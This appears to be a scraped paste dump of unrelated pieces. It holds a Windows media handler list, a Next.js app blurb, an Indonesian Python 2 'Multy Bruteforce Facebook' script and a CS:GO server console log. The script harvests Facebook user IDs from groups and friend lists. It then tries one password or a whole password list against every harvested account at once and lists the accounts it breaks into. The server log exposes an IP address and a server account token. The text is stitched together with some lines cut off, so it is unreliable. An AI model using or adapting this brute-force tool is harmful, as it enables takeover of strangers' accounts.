{271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .aac, {926F41F7-003E-4382-9E84-9E953BE10562}, ADTS Byte Stream Handler, Preferred .ac3, {46031BA1-083F-47D9-8369-23C92BDAB2FF}, AC-3 Byte Stream Handler, Preferred .adt, {926F41F7-003E-4382-9E84-9E953BE10562}, ADTS Byte Stream Handler, Preferred .adts, {926F41F7-003E-4382-9E84-9E953BE10562}, ADTS Byte Stream Handler, Preferred .asf, {41457294-644C-4298-A28A-BD69F2C0CF3B}, ASF Byte Stream Handler, Preferred .avi, {7AFA253E-F823-42F6-A5D9-714BDE467412}, AVI Byte Stream Handler, Preferred .dvr-ms, {65964407-A5D8-4060-85B0-1CCD63F768E2}, dvr-ms Byte Stream Handler, Preferred .dvr-ms, {A8721937-E2FB-4D7A-A9EE-4EB08C890B6E}, MF SBE Source ByteStreamHandler .ec3, {46031BA1-083F-47D9-8369-23C92BDAB2FF}, AC-3 Byte Stream Handler, Preferred .m2t, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .m2ts, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .m4a, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .m4v, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .mod, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .mov, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .mp2v, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .mp3, {A82E50BA-8E92-41EB-9DF2-433F50EC2993}, MP3 Byte Stream Handler, Preferred .mp4, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .mp4v, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .mpa, {A82E50BA-8E92-41EB-9DF2-433F50EC2993}, MP3 Byte Stream Handler, Preferred .mpeg, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .mpg, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .mts, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .nsc, {B084785C-DDE0-4D30-8CA8-05A373E185BE}, NSC Byte Stream Handler, Preferred .sami, {7A56C4CB-D678-4188-85A8-BA2EF68FA10D}, SAMI Byte Stream Handler, Preferred .smi, {7A56C4CB-D678-4188-85A8-BA2EF68FA10D}, SAMI Byte Stream Handler, Preferred .tod, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .ts, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .tts, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .vob, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .wav, {42C9B9F5-16FC-47EF-AF22-DA05F7C842E3}, WAV Byte Stream
ladunjexa
Threads, Next.js 13 app that skyrocketed to 100 million sign-ups in less than 5 days, and dethroned giants like Twitter, ChatGPT, and TikTok to become the fastest-growing app ever! 🚀
queenxaz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 Raw Blame History from __future__ import print_function import platform,os def tampil (x): w = { 'm' : 31, 'h' : 32 , 'k' : 33 , 'b' : 34 , 'p' : 35 , 'c' : 36} for i in w: x = x.replace( '\r %s ' % i, '\033[ %s ;1m' % w[i]) x += '\033[0m' x = x.replace( '\r0' , '\033[0m' ) print (x) if platform.python_version().split( '.' )[ 0 ] != '2' : tampil( '\rm[!] kamu menggunakan python versi %s silahkan menggunakan versi 2.x.x' % v().split( ' ' )[ 0 ] os.sys.exit() import cookielib,re,urllib2,urllib,threading try: import mechanize except ImportError : tampil( '\rm[!]SepertiNya Module \rcmechanize\rm belum di install...' ) os.sys.exit() def keluar (): simpan() tampil( '\rm[!]Keluar' ) os.sys.exit() log = 0 id_bteman = [] id_bgroup = [] fid_bteman = [] fid_bgroup = [] br = mechanize.Browser() br.set_handle_robots( False ) br.set_handle_equiv( True) br.set_handle_referer( True) br.set_cookiejar(cookielib.LWPCookieJar()) br.set_handle_redirect( True) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time = 1 ) br.addheaders = [( 'User-Agent' , 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Versi def bacaData(): global fid_bgroup,fid_bteman try: fid_bgroup = open(os.sys.path[ 0 ] + '/MBFbgroup.txt' , 'r' ).readlines() except : pass try: fid_bteman = open(os.sys.path[ 0 ] + '/MBFbteman.txt' , 'r' ).readlines() except : pass def inputD (x,v = 0 ): while 1 : try : a = raw_input ( '\x1b[32;1m %s \x1b[31;1m:\x1b[33;1m' % x) except : tampil( '\n\rm[!]Batal' ) keluar() if v: if a.upper() in v: break else: tampil( '\rm[!]Masukan Opsinya Bro...' ) continue else: if len(a) == 0 : tampil( '\rm[!]Masukan dengan benar' ) continue else: break return a def inputM (x,d): while 1 : try : i = int(inputD(x)) except : tampil( '\rm[!]Pilihan tidak ada' ) continue if i in d: break else: tampil( '\rm[!]Pilihan tidak ada' ) return i def simpan (): if len (id_bgroup) != 0 : tampil( '\rh[*]Menyimpan hasil dari group' ) try : open(os.sys.path[ 0 ] + '/MBFbgroup.txt' , 'w' ).write( '\n' .join(id_bgroup)) tampil( '\rh[!]Berhasil meyimpan \rcMBFbgroup.txt' ) except : tampil( '\rm[!]Gagal meyimpan' ) if len (id_bteman) != 0 : tampil( '\rh[*]Menyimpan hasil daftar Teman...' ) try : open(os.sys.path[ 0 ] + '/MBFbteman.txt' , 'w' ).write( '\n' .join(id_bteman)) tampil( '\rh[!]Berhasil meyimpan \rcMBFbgteman.txt' ) except : tampil( '\rm[!]Gagal meyimpan' ) def buka(d): tampil( '\rh[*]Membuka \rp' + d) try: x = br.open(d) br._factory.is_html = True x = x.read() except : tampil( '\rm[!]Gagal membuka \rp' + d) keluar() if '<link rel="redirect" href="' in x: return buka(br.find_link().url) else: return x def login (): global log us = inputD( '[?]Email/HP' ) pa = inputD( '[?]Kata Sandi' ) tampil( '\rh[*]Sedang Login....' ) buka( 'https://m.facebook.com' ) br.select_form( nr = 0 ) br.form[ 'email' ] = us br.form[ 'pass' ] = pa br.submit() url = br.geturl() if 'save-device' in url or 'm_sess' in url: tampil( '\rh[*]Login Berhasil' ) buka( 'https://mobile.facebook.com/home.php' ) nama = br.find_link( url_regex = 'logout.php' ).text nama = re.findall( r ' \( (. * a ? ) \) ' ,nama)[ 0 ] tampil( '\rh[*]Selamat datang \rk %s \n\rh[*]Semoga ini adalah hari keberuntungan mu....' % nam log = 1 elif 'checkpoint' in url: tampil( '\rm[!]Akun kena checkpoint\n\rk[!]Coba Login dengan opera mini' ) keluar() else: tampil( '\rm[!]Login Gagal' ) def saring_id_teman (r): for i in re.findall( r '/friends/hovercard/mbasic/ \? uid= (. *? ) &' ,r): id_bteman.append(i) tampil( '\rc==>\rb %s \rm' % i) def saring_id_group1 (d): for i in re.findall( r '<h3><a href="/ (. *? ) fref=pb' ,d): if i.find( 'profile.php' ) == - 1 : a = i.replace( '?' , '' ) else: a = i.replace( 'profile.php?id=' , '' ).replace( '&' , '' ) if a not in id_bgroup: tampil( '\rk==>\rc %s ' % a) id_bgroup.append(a) def saring_id_group0 (): global id_group while 1 : id_group = inputD( '[?]Id Group' ) tampil( '\rh[*]Mengecek Group....' ) a = buka( 'https://m.facebook.com/browse/group/members/?id=' + id_group + '&start=0&lis nama = ' ' .join(re.findall( r '<title> (. *? ) </title>' ,a)[ 0 ].split()[ 1 :]) try : next = br.find_link( url_regex = '/browse/group/members/' ).url break except : tampil( '\rm[!]Id yang anda masukan salah' ) continue tampil( '\rh[*]Mengambil Id dari group \rc %s ' % nama) saring_id_group1(a) return next def idgroup(): if log != 1 : tampil( '\rh[*]Login dulu bos...' ) login() if log == 0 : keluar() next = saring_id_group0() while 1 : saring_id_group1(buka( next)) try : next = br.find_link( url_regex = '/browse/group/members/' ).url except : tampil( '\rm[!]Hanya Bisa Mengambil \rh %d id' % len (id_bgroup)) break simpan() i = inputD( '[?]Langsung Crack (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(id_bgroup) else: return menu() def idteman(): if log != 1 : tampil( '\rh[*]Login dulu bos...' ) login() if log == 0 : keluar() saring_id_teman(buka( 'https://m.facebook.com/friends/center/friends/?fb_ref=fbm&ref_component=mbasi try: next = br.find_link( url_regex = 'friends_center_main' ).url except : if len (id_teman) != 0 : tampil( '\rm[!]Hanya dapat mengambil \rp %d id' % len (id_bteman)) else: tampil( '\rm[!]Batal' ) keluar() while 1 : saring_id_teman(buka( next)) try : next = br.find_link( url_regex = 'friends_center_main' ).url except : tampil( '\rm[!]Hanya dapat mengambil \rp %d id' % len (id_bteman)) break simpan() i = inputD( '[?]Langsung wae ah yuu(y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(id_bteman) else: return menu() class mt ( threading . Thread ): def __init__ (self,i,p): threading.Thread. __init__ ( self) self.id = i self.a = 3 self.p = p def update (self): return self.a, self.id def run(self): try: data = urllib2.urlopen(urllib2.Request( url = 'https://m.facebook.com/login.php' , data = urllib.urle except KeyboardInterrupt: os.sys.exit() except : self.a = 8 os.sys.exit() if 'm_sess' in data.url or 'save-device' in data.url: self.a = 1 elif 'checkpoint' in data.url: self.a = 2 else: self.a = 0 def crack (d): i = inputD( '[?]Pake Passwordlist/Manual (p/m)' ,[ 'P' , 'M' ]) if i.upper() == 'P' : while 1 : dir = inputD( '[?]Masukan alamat file' ) try: D = open( dir, 'r' ).readlines() except : tampil( '\rm[!]Gagal membuka \rk %s ' % dir) continue break tampil( '\rh[*]Memulai crack dengan \rk %d password' % len(D)) for i in D: i = i.replace( '\n' , '' ) if len(i) != 0 : crack0(d,i, 0 ) i = inputD( '[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(d) else: return menu() else: return crack0(d,inputD( '[?]Sandi' ), 1 ) def crack0 (data,sandi,p): tampil( '\rh[*]MengCrack \rk %d Akun \rhdengan sandi \rm[\rk %s \rm]' % ( len(data),sandi)) print ( '\033[32;1m[*]Cracking \033[31;1m[\033[36;1m0%\033[31;1m]\033[0m' , end= '' ) os.sys.stdout.flush() akun_jml = [] akun_sukses = [] akun_cekpoint = [] akun_error = [] akun_gagal = [] jml0,jml1 = 0 , 0 th = [] for i in data: i = i.replace( ' ' , '' ) if len (i) != 0 :th.append(mt(i,sandi)) for i in th: jml1 += 1 i.daemon = True try :i.start() except KeyboardInterrupt: exit() while 1 : try : for i in th: a = i.update() if a[ 0 ] != 3 and a[ 1 ] not in akun_jml: jml0 += 1 if a[ 0 ] == 2 : akun_cekpoint.append(a[ 1 ]) elif a[ 0 ] == 1 : akun_sukses.append(a[ 1 ]) elif a[ 0 ] == 0 : akun_gagal.append(a[ 1 ]) elif a[ 0 ] == 8 : akun_error.append(a[ 1 ]) print ( '\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m %0.2f%s \033[ os.sys.stdout.flush() akun_jml.append(a[ 1 ]) except KeyboardInterrupt: os.sys.exit() try : if threading.activeCount() == 1 : break except KeyboardInterrupt: keluar() print ( '\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m100%\033[31;1m]\033[0m ' ) if len (akun_sukses) != 0 : tampil( '\rh[*]Daftar akun sukses' ) for i in akun_sukses: tampil( '\rh==>\rk %s \rm[\rp %s \rm]' % (i,sandi)) tampil( '\rh[*]Jumlah akun berhasil\rp %d ' % len(akun_sukses)) tampil( '\rm[*]Jumlah akun gagal\rp %d ' % len(akun_gagal)) tampil( '\rk[*]Jumlah akun cekpoint\rp %d ' % len(akun_cekpoint)) tampil( '\rc[*]Jumlah akun error\rp %d ' % len(akun_error)) if p: i = inputD( '[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(data) else: return menu() else: return 0 def lanjutT(): global fid_bteman if len (fid_bteman) != 0 : i = inputD( '[?]Riset Hasil Id Teman/lanjutkan (r/l)' ,[ 'R' , 'L' ]) if i.upper() == 'L' : return crack(fid_bteman) else: os.remove(os.sys.path[ 0 ] + '/MBFbteman.txt' ) fid_bteman = [] return 0 def lanjutG(): global fid_bgroup if len (fid_bgroup) != 0 : i = inputD( '[?]Riset Hasil Id Group/lanjutkan (r/l)' ,[ 'R' , 'L' ]) if i.upper() == 'L' : return crack(fid_bgroup) else: os.remove(os.sys.path[ 0 ] + '/MBFbgroup.txt' ) fid_bgroup = [] return 0 def menu(): tampil( '''\rh .-.-.. /+/++// /+/++// \rk* *\rh /+/++// \ / |/__// {\rmX\rh}v{\rmX\rh}|\rcPRX\rh|==========. ['] /'|'\ \\ / \ \ ' \_ \_ \_ \rk*\rhDragonFly coly \rk########################################################### # \rb*MULTY BRUTEFORCE FACEBOOK*\rk # # \rhBY\rp panda07\rk# # \rhGroup FB\rp https://m.facebook.com/groups/164201767529837 \rk# # \rhGitHub\rp https://github.com/zack007 \rk# # \rmDo Not Use This Tool For IllegaL Purpose \rk# ###########################################################''') tampil( '''\rk %s \n\rc1 \rhAmbil id dari group\n\rc2 \rhAmbil id dari daftar teman\n\rc3 \rmKELUAR\n i = inputM( '[?]PILIH' ,[ 1 , 2 , 3 ]) if i == 1 : lanjutG() idgroup() elif i == 2 : lanjutT() idteman() elif i == 3 : keluar() bacaData() menu()
marostcs
09:17:02 Steam Console Client (c) Valve Corporation 09:17:02 -- type 'quit' to exit -- 09:17:02 Loading Steam API...OK. 09:17:02 09:17:03 Connecting anonymously to Steam Public...Logged in OK 09:17:03 Waiting for user info...OK 09:17:04 Success! App '740' already up to date. 09:17:05 @sSteamCmdForcePlatformType windows 09:17:05 "@sSteamCmdForcePlatformType" = "windows" 09:17:05 force_install_dir ../ 09:17:05 app_update 740 09:17:05 quit 09:17:05 Redirecting stderr to 'D:\servers\csgo_297437\steamcmd\logs\stderr.txt' 09:17:05 Params: -game csgo -console -tickrate 128.00 -port 49525 +tv_port 49526 -maxplayers_override 16 -usercon -nowatchdog +sv_pure 0 +sv_lan 0 +ip 89.203.193.220 +game_type 0 +exec server.cfg +game_mode 1 +map de_dust2 +sv_setsteamaccount B74A031F37B9312A5EC65A15FC43AA0C -gamemodes_serverfile gamemodes_server.txt +mapgroup h_custom -condebug -norestart -allowdebug 09:17:06 # 09:17:06 #Console initialized. 09:17:06 #Using breakpad minidump system 740/13776.1219.DC 09:17:06 #Filesystem successfully switched to safe whitelist mode 09:17:06 #Game.dll loaded for "Counter-Strike: Global Offensive" 09:17:06 #CGameEventManager::AddListener: event 'server_pre_shutdown' unknown. 09:17:06 #CGameEventManager::AddListener: event 'game_newmap' unknown. 09:17:06 #CGameEventManager::AddListener: event 'finale_start' unknown. 09:17:06 #CGameEventManager::AddListener: event 'round_start' unknown. 09:17:06 #CGameEventManager::AddListener: event 'round_end' unknown. 09:17:06 #CGameEventManager::AddListener: event 'difficulty_changed' unknown. 09:17:06 #CGameEventManager::AddListener: event 'player_death' unknown. 09:17:06 #CGameEventManager::AddListener: event 'hltv_replay' unknown. 09:17:06 #CGameEventManager::AddListener: event 'player_connect' unknown. 09:17:06 #CGameEventManager::AddListener: event 'player_disconnect' unknown. 09:17:06 #GameTypes: missing mapgroupsSP entry for game type/mode (custom/custom). 09:17:06 #GameTypes: missing mapgroupsSP entry for game type/mode (cooperative/cooperative). 09:17:06 #GameTypes: missing mapgroupsSP entry for game type/mode (cooperative/coopmission). 09:17:06 Seeded random number generator @ 1064343566 ( 0.940 ) 09:17:06 Failed to load gamerulescvars.txt, game rules cvars might not be reported to management tools. 09:17:06 Server is hibernating 09:17:06 No web api auth key specified - workshop downloads will be disabled. 09:17:06 scripts\talker\response_rules.txt(token 3685) : Multiple definitions for criteria 'tlk_cw.regroup' [-1793082848] 09:17:06 scripts\talker\swat.txt(token 1688) : response entry 'radio.sticktogetherswat' with unknown command 'scenes/swat/radiobotregroup02.vcd' 09:17:06 scripts\talker\coopvoice.txt(token 657) : No such response 'guardianroundstartintro' for rule 'guardianroundintro' 09:17:06 Discarded rule guardianroundintro 09:17:06 CResponseSystem: scripts\talker\response_rules.txt (4154 rules, 763 criteria, and 3878 responses) 09:17:06 Plugins: found file "CSay.vdf" 09:17:06 eBot LOADED 09:17:06 Plugins: found file "metamod.vdf" 09:17:06 maxplayers set to 64 09:17:06 Fast Build Temp Cache: 'maps/soundcache/_master.cache' 09:17:07 Elapsed time: 0.00 seconds 09:17:07 ConVarRef cl_embedded_stream_video_playing doesn't point to an existing ConVar 09:17:07 Execing config: valve.rc 09:17:07 Execing config: default.cfg 09:17:07 Unknown command "cl_bobamt_vert" 09:17:07 Unknown command "cl_bobamt_lat" 09:17:07 Unknown command "cl_bob_lower_amt" 09:17:07 Unknown command "cl_viewmodel_shift_left_amt" 09:17:07 Unknown command "cl_viewmodel_shift_right_amt" 09:17:07 Unknown command "cl_teamid_min" 09:17:07 Unknown command "cl_teamid_max" 09:17:07 Unknown command "cl_teamid_overhead" 09:17:07 Unknown command "cl_teamid_overhead_maxdist" 09:17:07 Execing config: joystick.cfg 09:17:07 Execing config: autoexec.cfg 09:17:07 -------------------------------------------------------- 09:17:07 sv_pure set to 0. 09:17:07 -------------------------------------------------------- 09:17:07 Execing config: server.cfg 09:17:07 Unknown command "sv_maxcmdrate" 09:17:07 Unknown command "sv_vote_creation_time" 09:17:07 Writing cfg/banned_user.cfg. 09:17:07 Writing cfg/banned_ip.cfg. 09:17:07 Execing config: banned_user.cfg 09:17:07 Execing config: banned_ip.cfg 09:17:07 Unknown command "allow_spectators" 09:17:07 Setting mapgroup to 'h_custom' 09:17:07 Execing config: modsettings.cfg 09:17:07 NET_CloseAllSockets 09:17:07 NET_GetBindAddresses found 89.203.193.220: 'HP FlexFabric 10Gb 2-port 554FLB Adapter #2' 09:17:07 WARNING: UDP_OpenSocket: unable to bind socket 09:17:07 Network: IP 89.203.193.220 mode MP, dedicated No, ports 49525 SV / -1 CL 09:17:07 L 01/15/2021 - 09:17:07: [SM] Error encountered parsing core config file: Line contained too many invalid tokens 09:17:07 CServerGameDLL::ApplyGameSettings game settings payload received: 09:17:07 ::ExecGameTypeCfg { 09:17:07 map { 09:17:07 mapname de_dust2 09:17:07 } 09:17:07 } 09:17:07 ApplyGameSettings: Invalid mapgroup name h_custom 09:17:07 ---- Host_NewGame ---- 09:17:07 Execing config: game.cfg 09:17:07 Switching filesystem to allow files loaded from disk (sv_pure_allow_loose_file_loads = 1) 09:17:08 DISP_VPHYSICS found bad displacement collision face (252.50 1542.13 147.50) (250.00 1543.00 155.00) (250.00 1543.50 155.00) at tri 25 09:17:08 DISP_VPHYSICS entire displacement vdisp_0290 will have no collision, dimensions (6.00 14.00 32.00) from (249.00 1537.00 124.00) to (255.00 1551.00 156.00) 09:17:08 DISP_VPHYSICS found bad displacement collision face (250.13 1539.50 147.50) (249.75 1543.00 155.00) (250.00 1543.00 155.00) at tri 30 09:17:08 DISP_VPHYSICS entire displacement vdisp_0291 will have no collision, dimensions (12.50 7.00 32.00) from (242.00 1537.00 124.00) to (254.50 1544.00 156.00) 09:17:08 DISP_VPHYSICS found bad displacement collision face (-1884.00 704.30 159.97) (-1884.00 703.00 180.00) (-1884.54 704.60 160.25) at tri 6 09:17:08 DISP_VPHYSICS entire displacement vdisp_1842 will have no collision, dimensions (2.54 6.60 82.03) from (-1885.54 699.00 158.97) to (-1883.00 705.60 241.00) 09:17:08 DISP_VPHYSICS found bad displacement collision face (-1884.00 705.40 127.95) (-1884.00 704.30 159.97) (-1884.54 704.60 160.25) at tri 30 09:17:08 DISP_VPHYSICS entire displacement vdisp_1876 will have no collision, dimensions (2.54 8.30 130.25) from (-1885.54 699.00 31.00) to (-1883.00 707.30 161.25) 09:17:11 Host_NewGame on map de_dust2 09:17:11 L 01/15/2021 - 09:17:11: -------- Mapchange to de_dust2 -------- 09:17:11 L 01/15/2021 - 09:17:11: [SM] Failed to load plugin "gloves.smx": Unable to load plugin (no debug string table). 09:17:11 L 01/15/2021 - 09:17:11: [SM] Failed to load plugin "weapons.smx": Unable to load plugin (no debug string table). 09:17:11 CGameEventManager::AddListener: event 'teamplay_win_panel' unknown. 09:17:11 CGameEventManager::AddListener: event 'teamplay_restart_round' unknown. 09:17:11 CGameEventManager::AddListener: event 'arena_win_panel' unknown. 09:17:11 GameTypes: initializing game types interface from GameModes.txt. 09:17:11 GameTypes: merging game types interface from gamemodes_server.txt. 09:17:11 Failed to load gamemodes_server.txt 09:17:11 GameTypes: missing mapgroupsSP entry for game type/mode (custom/custom). 09:17:11 GameTypes: missing mapgroupsSP entry for game type/mode (cooperative/cooperative). 09:17:11 GameTypes: missing mapgroupsSP entry for game type/mode (cooperative/coopmission). 09:17:11 ammo_grenade_limit_default - 1 09:17:11 ammo_grenade_limit_flashbang - 1 09:17:11 ammo_grenade_limit_total - 3 09:17:11 ammo_item_limit_healthshot - 4 09:17:11 bot_allow_grenades - 1 09:17:11 bot_allow_machine_guns - 1 09:17:11 bot_allow_pistols - 1 09:17:11 bot_allow_rifles - 1 09:17:11 bot_allow_rogues - 1 09:17:11 bot_allow_shotguns - 1 09:17:11 bot_allow_snipers - 1 09:17:11 bot_allow_sub_machine_guns - 1 09:17:11 bot_autodifficulty_threshold_high - 5.0 09:17:11 bot_autodifficulty_threshold_low - -2.0 09:17:11 bot_chatter - normal 09:17:11 bot_coop_idle_max_vision_distance - 1400 09:17:11 bot_defer_to_human_goals - 0 09:17:11 bot_defer_to_human_items - 1 09:17:11 bot_difficulty - 1 09:17:11 bot_max_hearing_distance_override - -1 09:17:11 bot_max_visible_smoke_length - 200 09:17:11 bot_max_vision_distance_override - -1 09:17:11 bot_quota - 10 09:17:11 bot_quota_mode - normal 09:17:11 bot_coop_idle_max_vision_distance - 1400 09:17:11 bot_max_vision_distance_override - -1 09:17:11 bot_max_hearing_distance_override - -1 09:17:11 bot_coopmission_dz_engagement_limit - missing cvar specified in bspconvar_whitelist.txt 09:17:11 cash_player_bomb_defused - 300 09:17:11 cash_player_bomb_planted - 300 09:17:11 cash_player_damage_hostage - -30 09:17:11 cash_player_get_killed - 0 09:17:11 cash_player_interact_with_hostage - 150 09:17:11 cash_player_killed_enemy_default - 300 09:17:11 cash_player_killed_enemy_factor - 1 09:17:11 cash_player_killed_hostage - -1000 09:17:11 cash_player_killed_teammate - -300 09:17:11 cash_player_rescued_hostage - 1000 09:17:11 cash_player_respawn_amount - 0 09:17:11 cash_team_elimination_bomb_map - 3250 09:17:11 cash_team_elimination_hostage_map_ct - 2000 09:17:11 cash_team_elimination_hostage_map_t - 1000 09:17:11 cash_team_hostage_alive - 0 09:17:11 cash_team_hostage_interaction - 500 09:17:11 cash_team_loser_bonus - 1400 09:17:11 cash_team_loser_bonus_consecutive_rounds - 500 09:17:11 cash_team_planted_bomb_but_defused - 800 09:17:11 cash_team_rescued_hostage - 0 09:17:11 cash_team_survive_guardian_wave - 1000 09:17:11 cash_team_terrorist_win_bomb - 3500 09:17:11 cash_team_win_by_defusing_bomb - 3250 09:17:11 cash_team_win_by_hostage_rescue - 3500 09:17:11 cash_team_win_by_time_running_out_bomb - 3250 09:17:11 cash_team_win_by_time_running_out_hostage - 3250 09:17:11 contributionscore_assist - 1 09:17:11 contributionscore_bomb_defuse_major - 3 09:17:11 contributionscore_bomb_defuse_minor - 1 09:17:11 contributionscore_bomb_exploded - 1 09:17:11 contributionscore_bomb_planted - 2 09:17:11 contributionscore_cash_bundle - 0 09:17:11 contributionscore_crate_break - 0 09:17:11 contributionscore_hostage_kill - -2 09:17:11 contributionscore_hostage_rescue_major - 3 09:17:11 contributionscore_hostage_rescue_minor - 1 09:17:11 contributionscore_kill - 2 09:17:11 contributionscore_kill_factor - 0 09:17:11 contributionscore_objective_kill - 3 09:17:11 contributionscore_suicide - -2 09:17:11 contributionscore_team_kill - -2 09:17:11 ff_damage_reduction_bullets - 0.1 09:17:11 ff_damage_reduction_grenade - 0.25 09:17:11 ff_damage_reduction_grenade_self - 1 09:17:11 ff_damage_reduction_other - 0.25 09:17:11 global_chatter_info - 09:17:11 healthshot_healthboost_damage_multiplier - 1 09:17:11 healthshot_healthboost_speed_multiplier - 1 09:17:11 healthshot_healthboost_time - 0 09:17:11 inferno_child_spawn_max_depth - 4 09:17:11 inferno_max_flames - 16 09:17:11 inferno_max_range - 150 09:17:11 molotov_throw_detonate_time - 2.0 09:17:11 mp_afterroundmoney - 0 09:17:11 mp_anyone_can_pickup_c4 - 0 09:17:11 mp_autokick - 1 09:17:11 mp_autoteambalance - 1 09:17:11 mp_bot_ai_bt - 09:17:11 mp_buy_allow_grenades - 1 09:17:11 mp_buy_allow_guns - 255 09:17:11 mp_buy_anywhere - 0 09:17:11 mp_buy_during_immunity - 0 09:17:11 mp_buytime - 90 09:17:11 mp_c4_cannot_be_defused - 0 09:17:11 mp_c4timer - 40 09:17:11 mp_consecutive_loss_max - 4 09:17:11 mp_coop_force_join_ct - 0 09:17:11 mp_coopmission_bot_difficulty_offset - 0 09:17:11 mp_coopmission_mission_number - 0 09:17:11 mp_coopmission_dz - missing cvar specified in bspconvar_whitelist.txt 09:17:11 mp_ct_default_grenades - 09:17:11 mp_ct_default_melee - weapon_knife 09:17:11 mp_ct_default_primary - 09:17:11 mp_ct_default_secondary - weapon_hkp2000 09:17:11 mp_retake_ct_loadout_default_pistol_round - 1|3;#GameUI_Retake_Card_4v3,0,0,secondary0|1;#GameUI_Retake_Card_FlashOut,0,0,secondary0,grenade2;#GameUI_Retake_Card_HideAndPeek,0,0,secondary0,grenade4 09:17:11 mp_retake_ct_loadout_upgraded_pistol_round - 2|2;#GameUI_Retake_Card_TakeFive,0,0,secondary3|2;#GameUI_Retake_Card_BlindFire,0,0,secondary2,grenade2|2;#GameUI_Retake_Card_OnlyTakesOne,0,0,secondary4|2;#GameUI_Retake_Card_SneakyBeakyLike,0,0,secondary2,grenade4 09:17:11 mp_retake_ct_loadout_light_buy_round - 3|2;#GameUI_Retake_Card_UmpInSmoke,1,1,smg2,grenade4|2;#GameUI_Retake_Card_FunNGun,1,1,smg0,grenade3|2;#GameUI_Retake_Card_Sharpshooter,1,1,rifle2,grenade2|2;#GameUI_Retake_Card_BurstBullpup,1,1,rifle0 09:17:11 mp_retake_ct_loadout_full_buy_round - 4|2;#GameUI_Retake_Card_LightEmUp,1,1,rifle1,grenade2|2;#GameUI_Retake_Card_Kobe,1,1,rifle1,grenade3|1;#GameUI_Retake_Card_1g,1,1,rifle1,grenade0|1;#GameUI_Retake_Card_DisappearingAct,1,1,rifle1,grenade4|1;#GameUI_Retake_Card_EyesOnTarget,1,1,rifle3 09:17:11 mp_retake_ct_loadout_bonus_card_availability - 1,2 09:17:11 mp_retake_ct_loadout_bonus_card - #GameUI_Retake_Card_TheAWPortunity,1,1,rifle4 09:17:11 mp_retake_ct_loadout_enemy_card - #GameUI_Retake_Card_BehindEnemyLines,1,1,rifle1,grenade2 09:17:11 mp_retake_t_loadout_default_pistol_round - 0|3;#GameUI_Retake_Card_4BadGuysLeft,0,0,secondary0|1;#GameUI_Retake_Card_LookAway,0,0,secondary0,grenade2;#GameUI_Retake_Card_WhenThereIsSmoke,0,0,secondary0,grenade4 09:17:11 mp_retake_t_loadout_upgraded_pistol_round - 0|2;#GameUI_Retake_Card_BlindFire,0,0,secondary2,grenade2|2;#GameUI_Retake_Card_QueOta,0,0,secondary4|1;#GameUI_Retake_Card_SmokeScreen,0,0,secondary2,grenade4|1;#GameUI_Retake_Card_TecTecBoom,0,0,secondary3,grenade3 09:17:11 mp_retake_t_loadout_light_buy_round - 0|2;#GameUI_Retake_Card_BackInAFlash,1,1,smg2,grenade2|2;#GameUI_Retake_Card_AllIn,1,1,rifle0|1;#GameUI_Retake_Card_BoomBox,1,1,smg0,grenade3,grenade4|1;#GameUI_Retake_Card_SetThemFree,1,1,rifle2,grenade2 09:17:11 